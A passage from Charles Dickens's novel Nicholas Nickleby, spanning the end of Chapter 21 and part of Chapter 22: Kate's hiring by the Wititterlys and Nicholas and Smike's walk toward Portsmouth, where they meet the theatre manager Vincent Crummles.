flurried, nevertheless. The dressing- +room door being hastily flung open, Mr Mantalini was disclosed to +view, with his shirt-collar symmetrically thrown back: putting a +fine edge to a breakfast knife by means of his razor strop. + +'Ah!' cried Mr Mantalini, 'interrupted!' and whisk went the +breakfast knife into Mr Mantalini's dressing-gown pocket, while Mr +Mantalini's eyes rolled wildly, and his hair floating in wild +disorder, mingled with his whiskers. + +'Alfred,' cried his wife, flinging her arms about him, 'I didn't +mean to say it, I didn't mean to say it!' + +'Ruined!' cried Mr Mantalini. 'Have I brought ruin upon the best +and purest creature that ever blessed a demnition vagabond! Demmit, +let me go.' At this crisis of his ravings Mr Mantalini made a pluck +at the breakfast knife, and being restrained by his wife's grasp, +attempted to dash his head against the wall--taking very good care +to be at least six feet from it. + +'Compose yourself, my own angel,' said Madame. 'It was nobody's +fault; it was mine as much as yours, we shall do very well yet. +Come, Alfred, come.' + +Mr Mantalini did not think proper to come to, all at once; but, +after calling several times for poison, and requesting some lady or +gentleman to blow his brains out, gentler feelings came upon him, +and he wept pathetically. In this softened frame of mind he did not +oppose the capture of the knife--which, to tell the truth, he was +rather glad to be rid of, as an inconvenient and dangerous article +for a skirt pocket--and finally he suffered himself to be led away +by his affectionate partner. + +After a delay of two or three hours, the young ladies were informed +that their services would be dispensed with until further notice, +and at the expiration of two days, the name of Mantalini appeared in +the list of bankrupts: Miss Nickleby received an intimation per +post, on the same morning, that the business would be, in future, +carried on under the name of Miss Knag, and that her assistance +would no longer be required--a piece of intelligence with which Mrs +Nickleby was no sooner made acquainted, than that good lady declared +she had expected it all along and cited divers unknown occasions on +which she had prophesied to that precise effect. + +'And I say again,' remarked Mrs Nickleby (who, it is scarcely +necessary to observe, had never said so before), 'I say again, that +a milliner's and dressmaker's is the very last description of +business, Kate, that you should have thought of attaching yourself +to. I don't make it a reproach to you, my love; but still I will +say, that if you had consulted your own mother--' + +'Well, well, mama,' said Kate, mildly: 'what would you recommend +now?' + +'Recommend!' cried Mrs Nickleby, 'isn't it obvious, my dear, that of +all occupations in this world for a young lady situated as you are, +that of companion to some amiable lady is the very thing for which +your education, and manners, and personal appearance, and everything +else, exactly qualify you? Did you never hear your poor dear papa +speak of the young lady who was the daughter of the old lady who +boarded in the same house that he boarded in once, when he was a +bachelor--what was her name again? I know it began with a B, and +ended with g, but whether it was Waters or--no, it couldn't have +been that, either; but whatever her name was, don't you know that +that young lady went as companion to a married lady who died soon +afterwards, and that she married the husband, and had one of the +finest little boys that the medical man had ever seen--all within +eighteen months?' + +Kate knew, perfectly well, that this torrent of favourable +recollection was occasioned by some opening, real or imaginary, +which her mother had discovered, in the companionship walk of life. +She therefore waited, very patiently, until all reminiscences and +anecdotes, bearing or not bearing upon the subject, had been +exhausted, and at last ventured to inquire what discovery had been +made. The truth then came out. Mrs Nickleby had, that morning, had +a yesterday's newspaper of the very first respectability from the +public-house where the porter came from; and in this yesterday's +newspaper was an advertisement, couched in the purest and most +grammatical English, announcing that a married lady was in want of a +genteel young person as companion, and that the married lady's name +and address were to be known, on application at a certain library at +the west end of the town, therein mentioned. + +'And I say,' exclaimed Mrs Nickleby, laying the paper down in +triumph, 'that if your uncle don't object, it's well worth the +trial.' + +Kate was too sick at heart, after the rough jostling she had already +had with the world, and really cared too little at the moment what +fate was reserved for her, to make any objection. Mr Ralph Nickleby +offered none, but, on the contrary, highly approved of the +suggestion; neither did he express any great surprise at Madame +Mantalini's sudden failure, indeed it would have been strange if he +had, inasmuch as it had been procured and brought about chiefly by +himself. So, the name and address were obtained without loss of +time, and Miss Nickleby and her mama went off in quest of Mrs +Wititterly, of Cadogan Place, Sloane Street, that same forenoon. + +Cadogan Place is the one slight bond that joins two great extremes; +it is the connecting link between the aristocratic pavements of +Belgrave Square, and the barbarism of Chelsea. It is in Sloane +Street, but not of it. The people in Cadogan Place look down upon +Sloane Street, and think Brompton low. They affect fashion too, and +wonder where the New Road is. Not that they claim to be on +precisely the same footing as the high folks of Belgrave Square and +Grosvenor Place, but that they stand, with reference to them, rather +in the light of those illegitimate children of the great who are +content to boast of their connections, although their connections +disavow them. Wearing as much as they can of the airs and +semblances of loftiest rank, the people of Cadogan Place have the +realities of middle station. It is the conductor which communicates +to the inhabitants of regions beyond its limit, the shock of pride +of birth and rank, which it has not within itself, but derives from +a fountain-head beyond; or, like the ligament which unites the +Siamese twins, it contains something of the life and essence of two +distinct bodies, and yet belongs to neither. + +Upon this doubtful ground, lived Mrs Wititterly, and at Mrs +Wititterly's door Kate Nickleby knocked with trembling hand. The +door was opened by a big footman with his head floured, or chalked, +or painted in some way (it didn't look genuine powder), and the big +footman, receiving the card of introduction, gave it to a little +page; so little, indeed, that his body would not hold, in ordinary +array, the number of small buttons which are indispensable to a +page's costume, and they were consequently obliged to be stuck on +four abreast. This young gentleman took the card upstairs on a +salver, and pending his return, Kate and her mother were shown into +a dining-room of rather dirty and shabby aspect, and so comfortably +arranged as to be adapted to almost any purpose rather than eating +and drinking. + +Now, in the ordinary course of things, and according to all +authentic descriptions of high life, as set forth in books, Mrs +Wititterly ought to have been in her BOUDOIR; but whether it was +that Mr Wititterly was at that moment shaving himself in the BOUDOIR +or what not, certain it is that Mrs Wititterly gave audience in the +drawing-room, where was everything proper and necessary, including +curtains and furniture coverings of a roseate hue, to shed a +delicate bloom on Mrs Wititterly's complexion, and a little dog to +snap at strangers' legs for Mrs Wititterly's amusement, and the +afore-mentioned page, to hand chocolate for Mrs Wititterly's +refreshment. + +The lady had an air of sweet insipidity, and a face of engaging +paleness; there was a faded look about her, and about the furniture, +and about the house. She was reclining on a sofa in such a very +unstudied attitude, that she might have been taken for an actress +all ready for the first scene in a ballet, and only waiting for the +drop curtain to go up. + +'Place chairs.' + +The page placed them. + +'Leave the room, Alphonse.' + +The page left it; but if ever an Alphonse carried plain Bill in his +face and figure, that page was the boy. + +'I have ventured to call, ma'am,' said Kate, after a few seconds of +awkward silence, 'from having seen your advertisement.' + +'Yes,' replied Mrs Wititterly, 'one of my people put it in the +paper--Yes.' + +'I thought, perhaps,' said Kate, modestly, 'that if you had not +already made a final choice, you would forgive my troubling you with +an application.' + +'Yes,' drawled Mrs Wititterly again. + +'If you have already made a selection--' + +'Oh dear no,' interrupted the lady, 'I am not so easily suited. I +really don't know what to say. You have never been a companion +before, have you?' + +Mrs Nickleby, who had been eagerly watching her opportunity, came +dexterously in, before Kate could reply. 'Not to any stranger, +ma'am,' said the good lady; 'but she has been a companion to me for +some years. I am her mother, ma'am.' + +'Oh!' said Mrs Wititterly, 'I apprehend you.' + +'I assure you, ma'am,' said Mrs Nickleby, 'that I very little +thought, at one time, that it would be necessary for my daughter to +go out into the world at all, for her poor dear papa was an +independent gentleman, and would have been at this moment if he had +but listened in time to my constant entreaties and--' + +'Dear mama,' said Kate, in a low voice. + +'My dear Kate, if you will allow me to speak,' said Mrs Nickleby, 'I +shall take the liberty of explaining to this lady--' + +'I think it is almost unnecessary, mama.' + +And notwithstanding all the frowns and winks with which Mrs Nickleby +intimated that she was going to say something which would clench the +business at once, Kate maintained her point by an expressive look, +and for once Mrs Nickleby was stopped upon the very brink of an +oration. + +'What are your accomplishments?' asked Mrs Wititterly, with her eyes +shut. + +Kate blushed as she mentioned her principal acquirements, and Mrs +Nickleby checked them all off, one by one, on her fingers; having +calculated the number before she came out. Luckily the two +calculations agreed, so Mrs Nickleby had no excuse for talking. + +'You are a good temper?' asked Mrs Wititterly, opening her eyes for +an instant, and shutting them again. + +'I hope so,' rejoined Kate. + +'And have a highly respectable reference for everything, have you?' + +Kate replied that she had, and laid her uncle's card upon the table. + +'Have the goodness to draw your chair a little nearer, and let me +look at you,' said Mrs Wititterly; 'I am so very nearsighted that I +can't quite discern your features.' + +Kate complied, though not without some embarrassment, with this +request, and Mrs Wititterly took a languid survey of her +countenance, which lasted some two or three minutes. + +'I like your appearance,' said that lady, ringing a little bell. +'Alphonse, request your master to come here.' + +The page disappeared on this errand, and after a short interval, +during which not a word was spoken on either side, opened the door +for an important gentleman of about eight-and-thirty, of rather +plebeian countenance, and with a very light head of hair, who leant +over Mrs Wititterly for a little time, and conversed with her in +whispers. + +'Oh!' he said, turning round, 'yes. This is a most important +matter. Mrs Wititterly is of a very excitable nature; very +delicate, very fragile; a hothouse plant, an exotic.' + +'Oh! Henry, my dear,' interposed Mrs Wititterly. + +'You are, my love, you know you are; one breath--' said Mr W., +blowing an imaginary feather away. 'Pho! you're gone!' + +The lady sighed. + +'Your soul is too large for your body,' said Mr Wititterly. 'Your +intellect wears you out; all the medical men say so; you know that +there is not a physician who is not proud of being called in to you. +What is their unanimous declaration? "My dear doctor," said I to +Sir Tumley Snuffim, in this very room, the very last time he came. +"My dear doctor, what is my wife's complaint? Tell me all. I can +bear it. Is it nerves?" "My dear fellow," he said, "be proud of +that woman; make much of her; she is an ornament to the fashionable +world, and to you. Her complaint is soul. It swells, expands, +dilates--the blood fires, the pulse quickens, the excitement +increases--Whew!"' Here Mr Wititterly, who, in the ardour of his +description, had flourished his right hand to within something less +than an inch of Mrs Nickleby's bonnet, drew it hastily back again, +and blew his nose as fiercely as if it had been done by some violent +machinery. + +'You make me out worse than I am, Henry,' said Mrs Wititterly, with +a faint smile. + +'I do not, Julia, I do not,' said Mr W. 'The society in which you +move--necessarily move, from your station, connection, and +endowments--is one vortex and whirlpool of the most frightful +excitement. Bless my heart and body, can I ever forget the night +you danced with the baronet's nephew at the election ball, at +Exeter! It was tremendous.' + +'I always suffer for these triumphs afterwards,' said Mrs +Wititterly. + +'And for that very reason,' rejoined her husband, 'you must have a +companion, in whom there is great gentleness, great sweetness, +excessive sympathy, and perfect repose.' + +Here, both Mr and Mrs Wititterly, who had talked rather at the +Nicklebys than to each other, left off speaking, and looked at their +two hearers, with an expression of countenance which seemed to say, +'What do you think of all this?' + +'Mrs Wititterly,' said her husband, addressing himself to Mrs +Nickleby, 'is sought after and courted by glittering crowds and +brilliant circles. She is excited by the opera, the drama, the fine +arts, the--the--the--' + +'The nobility, my love,' interposed Mrs Wititterly. + +'The nobility, of course,' said Mr Wititterly. 'And the military. +She forms and expresses an immense variety of opinions on an immense +variety of subjects. If some people in public life were acquainted +with Mrs Wititterly's real opinion of them, they would not hold +their heads, perhaps, quite as high as they do.' + +'Hush, Henry,' said the lady; 'this is scarcely fair.' + +'I mention no names, Julia,' replied Mr Wititterly; 'and nobody is +injured. I merely mention the circumstance to show that you are no +ordinary person, that there is a constant friction perpetually going +on between your mind and your body; and that you must be soothed and +tended. Now let me hear, dispassionately and calmly, what are this +young lady's qualifications for the office.' + +In obedience to this request, the qualifications were all gone +through again, with the addition of many interruptions and cross- +questionings from Mr Wititterly. It was finally arranged that +inquiries should be made, and a decisive answer addressed to Miss +Nickleby under cover of her uncle, within two days. These +conditions agreed upon, the page showed them down as far as the +staircase window; and the big footman, relieving guard at that +point, piloted them in perfect safety to the street-door. + +'They are very distinguished people, evidently,' said Mrs Nickleby, +as she took her daughter's arm. 'What a superior person Mrs +Wititterly is!' + +'Do you think so, mama?' was all Kate's reply. + +'Why, who can help thinking so, Kate, my love?' rejoined her mother. +'She is pale though, and looks much exhausted. I hope she may not +be wearing herself out, but I am very much afraid.' + +These considerations led the deep-sighted lady into a calculation of +the probable duration of Mrs Wititterly's life, and the chances of +the disconsolate widower bestowing his hand on her daughter. Before +reaching home, she had freed Mrs Wititterly's soul from all bodily +restraint; married Kate with great splendour at St George's, Hanover +Square; and only left undecided the minor question, whether a +splendid French-polished mahogany bedstead should be erected for +herself in the two-pair back of the house in Cadogan Place, or in +the three-pair front: between which apartments she could not quite +balance the advantages, and therefore adjusted the question at last, +by determining to leave it to the decision of her son-in-law. + +The inquiries were made. The answer--not to Kate's very great joy-- +was favourable; and at the expiration of a week she betook herself, +with all her movables and valuables, to Mrs Wititterly's mansion, +where for the present we will leave her. + + + +CHAPTER 22 + +Nicholas, accompanied by Smike, sallies forth to seek his Fortune. +He encounters Mr Vincent Crummles; and who he was, is herein made +manifest + + +The whole capital which Nicholas found himself entitled to, either +in possession, reversion, remainder, or expectancy, after paying his +rent and settling with the broker from whom he had hired his poor +furniture, did not exceed, by more than a few halfpence, the sum of +twenty shillings. And yet he hailed the morning on which he had +resolved to quit London, with a light heart, and sprang from his bed +with an elasticity of spirit which is happily the lot of young +persons, or the world would never be stocked with old ones. + +It was a cold, dry, foggy morning in early spring. A few meagre +shadows flitted to and fro in the misty streets, and occasionally +there loomed through the dull vapour, the heavy outline of some +hackney coach wending homewards, which, drawing slowly nearer, +rolled jangling by, scattering the thin crust of frost from its +whitened roof, and soon was lost again in the cloud. At intervals +were heard the tread of slipshod feet, and the chilly cry of the +poor sweep as he crept, shivering, to his early toil; the heavy +footfall of the official watcher of the night, pacing slowly up and +down and cursing the tardy hours that still intervened between him +and sleep; the rambling of ponderous carts and waggons; the roll of +the lighter vehicles which carried buyers and sellers to the +different markets; the sound of ineffectual knocking at the doors of +heavy sleepers--all these noises fell upon the ear from time to +time, but all seemed muffled by the fog, and to be rendered almost +as indistinct to the ear as was every object to the sight. The +sluggish darkness thickened as the day came on; and those who had +the courage to rise and peep at the gloomy street from their +curtained windows, crept back to bed again, and coiled themselves up +to sleep. + +Before even these indications of approaching morning were rife in +busy London, Nicholas had made his way alone to the city, and stood +beneath the windows of his mother's house. It was dull and bare to +see, but it had light and life for him; for there was at least one +heart within its old walls to which insult or dishonour would bring +the same blood rushing, that flowed in his own veins. + +He crossed the road, and raised his eyes to the window of the room +where he knew his sister slept. It was closed and dark. 'Poor +girl,' thought Nicholas, 'she little thinks who lingers here!' + +He looked again, and felt, for the moment, almost vexed that Kate +was not there to exchange one word at parting. 'Good God!' he +thought, suddenly correcting himself, 'what a boy I am!' + +'It is better as it is,' said Nicholas, after he had lounged on, a +few paces, and returned to the same spot. 'When I left them before, +and could have said goodbye a thousand times if I had chosen, I +spared them the pain of leave-taking, and why not now?' As he spoke, +some fancied motion of the curtain almost persuaded him, for the +instant, that Kate was at the window, and by one of those strange +contradictions of feeling which are common to us all, he shrunk +involuntarily into a doorway, that she might not see him. He smiled +at his own weakness; said 'God bless them!' and walked away with a +lighter step. + +Smike was anxiously expecting him when he reached his old lodgings, +and so was Newman, who had expended a day's income in a can of rum +and milk to prepare them for the journey. They had tied up the +luggage, Smike shouldered it, and away they went, with Newman Noggs +in company; for he had insisted on walking as far as he could with +them, overnight. + +'Which way?' asked Newman, wistfully. + +'To Kingston first,' replied Nicholas. + +'And where afterwards?' asked Newman. 'Why won't you tell me?' + +'Because I scarcely know myself, good friend,' rejoined Nicholas, +laying his hand upon his shoulder; 'and if I did, I have neither +plan nor prospect yet, and might shift my quarters a hundred times +before you could possibly communicate with me.' + +'I am afraid you have some deep scheme in your head,' said Newman, +doubtfully. + +'So deep,' replied his young friend, 'that even I can't fathom it. +Whatever I resolve upon, depend upon it I will write you soon.' + +'You won't forget?' said Newman. + +'I am not very likely to,' rejoined Nicholas. 'I have not so many +friends that I shall grow confused among the number, and forget my +best one.' + +Occupied in such discourse, they walked on for a couple of hours, as +they might have done for a couple of days if Nicholas had not sat +himself down on a stone by the wayside, and resolutely declared his +intention of not moving another step until Newman Noggs turned back. +Having pleaded ineffectually first for another half-mile, and +afterwards for another quarter, Newman was fain to comply, and to +shape his course towards Golden Square, after interchanging many +hearty and affectionate farewells, and many times turning back to +wave his hat to the two wayfarers when they had become mere specks +in the distance. + +'Now listen to me, Smike,' said Nicholas, as they trudged with stout +hearts onwards. 'We are bound for Portsmouth.' + +Smike nodded his head and smiled, but expressed no other emotion; +for whether they had been bound for Portsmouth or Port Royal would +have been alike to him, so they had been bound together. + +'I don't know much of these matters,' resumed Nicholas; 'but +Portsmouth is a seaport town, and if no other employment is to be +obtained, I should think we might get on board some ship. I am +young and active, and could be useful in many ways. So could you.' + +'I hope so,' replied Smike. 'When I was at that--you know where I +mean?' + +'Yes, I know,' said Nicholas. 'You needn't name the place.' + +'Well, when I was there,' resumed Smike; his eyes sparkling at the +prospect of displaying his abilities; 'I could milk a cow, and groom +a horse, with anybody.' + +'Ha!' said Nicholas, gravely. 'I am afraid they don't keep many +animals of either kind on board ship, Smike, and even when they have +horses, that they are not very particular about rubbing them down; +still you can learn to do something else, you know. Where there's a +will, there's a way.' + +'And I am very willing,' said Smike, brightening up again. + +'God knows you are,' rejoined Nicholas; 'and if you fail, it shall +go hard but I'll do enough for us both.' + +'Do we go all the way today?' asked Smike, after a short silence. + +'That would be too severe a trial, even for your willing legs,' said +Nicholas, with a good-humoured smile. 'No. Godalming is some +thirty and odd miles from London--as I found from a map I borrowed-- +and I purpose to rest there. We must push on again tomorrow, for we +are not rich enough to loiter. Let me relieve you of that bundle! +Come!' + +'No, no,' rejoined Smike, falling back a few steps. 'Don't ask me +to give it up to you.' + +'Why not?' asked Nicholas. + +'Let me do something for you, at least,' said Smike. 'You will +never let me serve you as I ought. You will never know how I think, +day and night, of ways to please you.' + +'You are a foolish fellow to say it, for I know it well, and see it, +or I should be a blind and senseless beast,' rejoined Nicholas. +'Let me ask you a question while I think of it, and there is no one +by,' he added, looking him steadily in the face. 'Have you a good +memory?' + +'I don't know,' said Smike, shaking his head sorrowfully. 'I think +I had once; but it's all gone now--all gone.' + +'Why do you think you had once?' asked Nicholas, turning quickly +upon him as though the answer in some way helped out the purport of +his question. + +'Because I could remember, when I was a child,' said Smike, 'but +that is very, very long ago, or at least it seems so. I was always +confused and giddy at that place you took me from; and could never +remember, and sometimes couldn't even understand, what they said to +me. I--let me see--let me see!' + +'You are wandering now,' said Nicholas, touching him on the arm. + +'No,' replied his companion, with a vacant look 'I was only thinking +how--' He shivered involuntarily as he spoke. + +'Think no more of that place, for it is all over,' retorted +Nicholas, fixing his eyes full upon that of his companion, which was +fast settling into an unmeaning stupefied gaze, once habitual to +him, and common even then. 'What of the first day you went to +Yorkshire?' + +'Eh!' cried the lad. + +'That was before you began to lose your recollection, you know,' +said Nicholas quietly. 'Was the weather hot or cold?' + +'Wet,' replied the boy. 'Very wet. I have always said, when it has +rained hard, that it was like the night I came: and they used to +crowd round and laugh to see me cry when the rain fell heavily. It +was like a child, they said, and that made me think of it more. I +turned cold all over sometimes, for I could see myself as I was +then, coming in at the very same door.' + +'As you were then,' repeated Nicholas, with assumed carelessness; +'how was that?' + +'Such a little creature,' said Smike, 'that they might have had pity +and mercy upon me, only to remember it.' + +'You didn't find your way there, alone!' remarked Nicholas. + +'No,' rejoined Smike, 'oh no.' + +'Who was with you?' + +'A man--a dark, withered man. I have heard them say so, at the +school, and I remembered that before. I was glad to leave him, I +was afraid of him; but they made me more afraid of them, and used me +harder too.' + +'Look at me,' said Nicholas, wishing to attract his full attention. +'There; don't turn away. Do you remember no woman, no kind woman, +who hung over you once, and kissed your lips, and called you her +child?' + +'No,' said the poor creature, shaking his head, 'no, never.' + +'Nor any house but that house in Yorkshire?' + +'No,' rejoined the youth, with a melancholy look; 'a room--I +remember I slept in a room, a large lonesome room at the top of a +house, where there was a trap-door in the ceiling. I have covered +my head with the clothes often, not to see it, for it frightened me: +a young child with no one near at night: and I used to wonder what +was on the other side. There was a clock too, an old clock, in one +corner. I remember that. I have never forgotten that room; for +when I have terrible dreams, it comes back, just as it was. I see +things and people in it that I had never seen then, but there is the +room just as it used to be; THAT never changes.' + +'Will you let me take the bundle now?' asked Nicholas, abruptly +changing the theme. + +'No,' said Smike, 'no. Come, let us walk on.' + +He quickened his pace as he said this, apparently under the +impression that they had been standing still during the whole of the +previous dialogue. Nicholas marked him closely, and every word of +this conversation remained upon his memory. + +It was, by this time, within an hour of noon, and although a dense +vapour still enveloped the city they had left, as if the very breath +of its busy people hung over their schemes of gain and profit, and +found greater attraction there than in the quiet region above, in +the open country it was clear and fair. Occasionally, in some low +spots they came upon patches of mist which the sun had not yet +driven from their strongholds; but these were soon passed, and as +they laboured up the hills beyond, it was pleasant to look down, and +see how the sluggish mass rolled heavily off, before the cheering +influence of day. A broad, fine, honest sun lighted up the green +pastures and dimpled water with the semblance of summer, while it +left the travellers all the invigorating freshness of that early +time of year. The ground seemed elastic under their feet; the +sheep-bells were music to their ears; and exhilarated by exercise, +and stimulated by hope, they pushed onward with the strength of +lions. + +The day wore on, and all these bright colours subsided, and assumed +a quieter tint, like young hopes softened down by time, or youthful +features by degrees resolving into the calm and serenity of age. +But they were scarcely less beautiful in their slow decline, than +they had been in their prime; for nature gives to every time and +season some beauties of its own; and from morning to night, as from +the cradle to the grave, is but a succession of changes so gentle +and easy, that we can scarcely mark their progress. + +To Godalming they came at last, and here they bargained for two +humble beds, and slept soundly. In the morning they were astir: +though not quite so early as the sun: and again afoot; if not with +all the freshness of yesterday, still, with enough of hope and +spirit to bear them cheerily on. + +It was a harder day's journey than yesterday's, for there were long +and weary hills to climb; and in journeys, as in life, it is a great +deal easier to go down hill than up. However, they kept on, with +unabated perseverance, and the hill has not yet lifted its face to +heaven that perseverance will not gain the summit of at last. + +They walked upon the rim of the Devil's Punch Bowl; and Smike +listened with greedy interest as Nicholas read the inscription upon +the stone which, reared upon that wild spot, tells of a murder +committed there by night. The grass on which they stood, had once +been dyed with gore; and the blood of the murdered man had run down, +drop by drop, into the hollow which gives the place its name. 'The +Devil's Bowl,' thought Nicholas, as he looked into the void, 'never +held fitter liquor than that!' + +Onward they kept, with steady purpose, and entered at length upon a +wide and spacious tract of downs, with every variety of little hill +and plain to change their verdant surface. Here, there shot up, +almost perpendicularly, into the sky, a height so steep, as to be +hardly accessible to any but the sheep and goats that fed upon its +sides, and there, stood a mound of green, sloping and tapering off +so delicately, and merging so gently into the level ground, that you +could scarce define its limits. Hills swelling above each other; +and undulations shapely and uncouth, smooth and rugged, graceful and +grotesque, thrown negligently side by side, bounded the view in each +direction; while frequently, with unexpected noise, there uprose +from the ground a flight of crows, who, cawing and wheeling round +the nearest hills, as if uncertain of their course, suddenly poised +themselves upon the wing and skimmed down the long vista of some +opening valley, with the speed of light itself. + +By degrees, the prospect receded more and more on either hand, and +as they had been shut out from rich and extensive scenery, so they +emerged once again upon the open country. The knowledge that they +were drawing near their place of destination, gave them fresh +courage to proceed; but the way had been difficult, and they had +loitered on the road, and Smike was tired. Thus, twilight had +already closed in, when they turned off the path to the door of a +roadside inn, yet twelve miles short of Portsmouth. + +'Twelve miles,' said Nicholas, leaning with both hands on his stick, +and looking doubtfully at Smike. + +'Twelve long miles,' repeated the landlord. + +'Is it a good road?' inquired Nicholas. + +'Very bad,' said the landlord. As of course, being a landlord, he +would say. + +'I want to get on,' observed Nicholas. hesitating. 'I scarcely +know what to do.' + +'Don't let me influence you,' rejoined the landlord. 'I wouldn't go +on if it was me.' + +'Wouldn't you?' asked Nicholas, with the same uncertainty. + +'Not if I knew when I was well off,' said the landlord. And having +said it he pulled up his apron, put his hands into his pockets, and, +taking a step or two outside the door, looked down the dark road +with an assumption of great indifference. + +A glance at the toil-worn face of Smike determined Nicholas, so +without any further consideration he made up his mind to stay where +he was. + +The landlord led them into the kitchen, and as there was a good fire +he remarked that it was very cold. If there had happened to be a +bad one he would have observed that it was very warm. + +'What can you give us for supper?' was Nicholas's natural question. + +'Why--what would you like?' was the landlord's no less natural +answer. + +Nicholas suggested cold meat, but there was no cold meat--poached +eggs, but there were no eggs--mutton chops, but there wasn't a +mutton chop within three miles, though there had been more last week +than they knew what to do with, and would be an extraordinary supply +the day after tomorrow. + +'Then,' said Nicholas, 'I must leave it entirely to you, as I would +have done, at first, if you had allowed me.' + +'Why, then I'll tell you what,' rejoined the landlord. 'There's a +gentleman in the parlour that's ordered a hot beef-steak pudding and +potatoes, at nine. There's more of it than he can manage, and I +have very little doubt that if I ask leave, you can sup with him. +I'll do that, in a minute.' + +'No, no,' said Nicholas, detaining him. 'I would rather not. I--at +least--pshaw! why cannot I speak out? Here; you see that I am +travelling in a very humble manner, and have made my way hither on +foot. It is more than probable, I think, that the gentleman may not +relish my company; and although I am the dusty figure you see, I am +too proud to thrust myself into his.' + +'Lord love you,' said the landlord, 'it's only Mr Crummles; HE isn't +particular.' + +'Is he not?' asked Nicholas, on whose mind, to tell the truth, the +prospect of the savoury pudding was making some impression. + +'Not he,' replied the landlord. 'He'll like your way of talking, I +know. But we'll soon see all about that. Just wait a minute.' + +The landlord hurried into the parlour, without staying for further +permission, nor did Nicholas strive to prevent him: wisely +considering that supper, under the circumstances, was too serious a +matter to be trifled with. It was not long before the host +returned, in a condition of much excitement. + +'All right,' he said in a low voice. 'I knew he would. You'll see +something rather worth seeing, in there. Ecod, how they are a-going +of it!' + +There was no time to inquire to what this exclamation, which was +delivered in a very rapturous tone, referred; for he had already +thrown open the door of the room; into which Nicholas, followed by +Smike with the bundle on his shoulder (he carried it about with him +as vigilantly as if it had been a sack of gold), straightway +repaired. + +Nicholas was prepared for something odd, but not for something quite +so odd as the sight he encountered. At the upper end of the room, +were a couple of boys, one of them very tall and the other very +short, both dressed as sailors--or at least as theatrical sailors, +with belts, buckles, pigtails, and pistols complete--fighting what +is called in play-bills a terrific combat, with two of those short +broad-swords with basket hilts which are commonly used at our minor +theatres. The short boy had gained a great advantage over the tall +boy, who was reduced to mortal strait, and both were overlooked by a +large heavy man, perched against the corner of a table, who +emphatically adjured them to strike a little more fire out of the +swords, and they couldn't fail to bring the house down, on the very +first night. + +'Mr Vincent Crummles,' said the landlord with an air of great +deference. 'This is the young gentleman.' + +Mr Vincent Crummles received Nicholas with an inclination of the +head, something between the courtesy of a Roman emperor and the nod +of a pot companion; and bade the landlord shut the door and begone. + +'There's a picture,' said Mr Crummles, motioning Nicholas not to +advance and spoil it. 'The little 'un has him; if the big 'un +doesn't knock under, in three seconds, he's a dead man. Do that +again, boys.' + +The two combatants went to work afresh, and chopped away until the +swords emitted a shower of sparks: to the great satisfaction of Mr +Crummles, who appeared to consider this a very great point indeed. +The engagement commenced with about two hundred chops administered +by the short sailor and the tall sailor alternately, without +producing any particular result, until the short sailor was chopped +down on one knee; but this was nothing to him, for he worked himself +about on the one knee with the assistance of his left hand, and +fought most desperately until the tall sailor chopped his sword out +of his grasp. Now, the inference was, that the short sailor, +reduced to this extremity, would give in at once and cry quarter, +but, instead of that, he all of a sudden drew a large pistol from +his belt and presented it at the face of the tall sailor, who was so +overcome at this (not expecting it) that he let the short sailor +pick up his sword and begin again. Then, the chopping recommenced, +and a variety of fancy chops were administered on both sides; such +as chops dealt with the left hand, and under the leg, and over the +right shoulder, and over the left; and when the short sailor made a +vigorous cut at the tall sailor's legs, which would have shaved them +clean off if it had taken effect, the tall sailor jumped over the +short sailor's sword, wherefore to balance the matter, and make it +all fair, the tall sailor administered the same cut, and the short +sailor jumped over HIS sword. After this, there was a good deal of +dodging about, and hitching up of the inexpressibles in the absence +of braces, and then the short sailor (who was the moral character +evidently, for he always had the best of it) made a violent +demonstration and closed with the tall sailor, who, after a few +unavailing struggles, went down, and expired in great torture as the +short sailor put his foot upon his breast, and bored a hole in him +through and through. + +'That'll be a double ENCORE if you take care, boys,' said Mr +Crummles. 'You had better get your wind now and change your +clothes.' + +Having addressed these words to the combatants, he saluted Nicholas, +who then observed that the face of Mr Crummles was quite +proportionate in size to his body; that he had a very full under- +lip, a hoarse voice, as though he were in the habit of shouting very +much, and very short black hair, shaved off nearly to the crown of +his head--to admit (as he afterwards learnt) of his more easily +wearing character wigs of any shape or pattern. + +'What did you think of that, sir?' inquired Mr Crummles. + +'Very good, indeed--capital,' answered Nicholas. + +'You won't see such boys as those very often, I think,' said Mr +Crummles. + +Nicholas assented--observing that if they were a little better +match-- + +'Match!' cried Mr Crummles. + +'I mean if they were a little more of a size,' said Nicholas, +explaining himself. + +'Size!' repeated Mr Crummles; 'why, it's the essence of the combat +that there should be a foot or two between them. How are you to get +up the sympathies of the audience in a legitimate manner, if there +isn't a little man contending against a big one?--unless there's at +least five to one, and we haven't hands enough for that business in +our company.' + +'I see,' replied Nicholas. 'I beg your pardon. That didn't occur +to me, I confess.' + +'It's the main point,' said Mr Crummles. 'I open at Portsmouth the +day after tomorrow. If you're going there, look into the theatre, +and see how that'll tell.' + +Nicholas promised to do so, if he could, and drawing a chair near +the fire, fell into conversation with the manager at once. He was +very talkative and communicative, stimulated perhaps, not only by +his natural disposition, but by the spirits and water he sipped very +plentifully, or the snuff he took in large quantities from a piece +of whitey-brown paper in his waistcoat pocket. He laid open his +affairs without the smallest reserve, and descanted at some length +upon the merits of his company, and the acquirements of his family; +of both of which, the two broad-sword boys formed an honourable +portion. There was to be a gathering, it seemed, of the different +ladies and gentlemen at Portsmouth on the morrow, whither the father +and sons were proceeding (not for the regular season, but in the +course of a wandering speculation), after fulfilling an engagement +at Guildford with the greatest applause. + +'You are going that way?' asked the manager. + +'Ye-yes,' said Nicholas. 'Yes, I am.' + +'Do you know the town at all?' inquired the manager, who seemed to +consider himself entitled to the same degree of confidence as he had +himself exhibited. + +'No,' replied Nicholas. + +'Never there?' + +'Never.' + +Mr Vincent Crummles gave a short dry cough, as much as to say, 'If +you won't be communicative, you won't;' and took so many pinches of +snuff from the piece of paper, one after another, that Nicholas +quite wondered where it all went to. + +While he was thus engaged, Mr Crummles looked, from time to time, +with great interest at Smike, with whom he had appeared considerably +struck from the first. He had now fallen asleep, and was nodding in +his chair. + +'Excuse my saying so,' said the manager, leaning over to Nicholas, +and sinking his voice, 'but what a capital countenance your friend +has got!' + +'Poor fellow!' said Nicholas, with a half-smile, 'I wish it were a +little more plump, and less haggard.' + +'Plump!' exclaimed the manager, quite horrified, 'you'd spoil it for +ever.' + +'Do you think so?' + +'Think so, sir! Why, as he is now,' said the manager, striking his +knee emphatically; 'without a pad upon his body, and hardly a touch +of paint upon his face, he'd make such an actor for the starved +business as was never seen in this country. Only let him be +tolerably well up in the Apothecary in Romeo and Juliet, with the +slightest possible dab of red on the tip of his nose, and he'd be +certain of 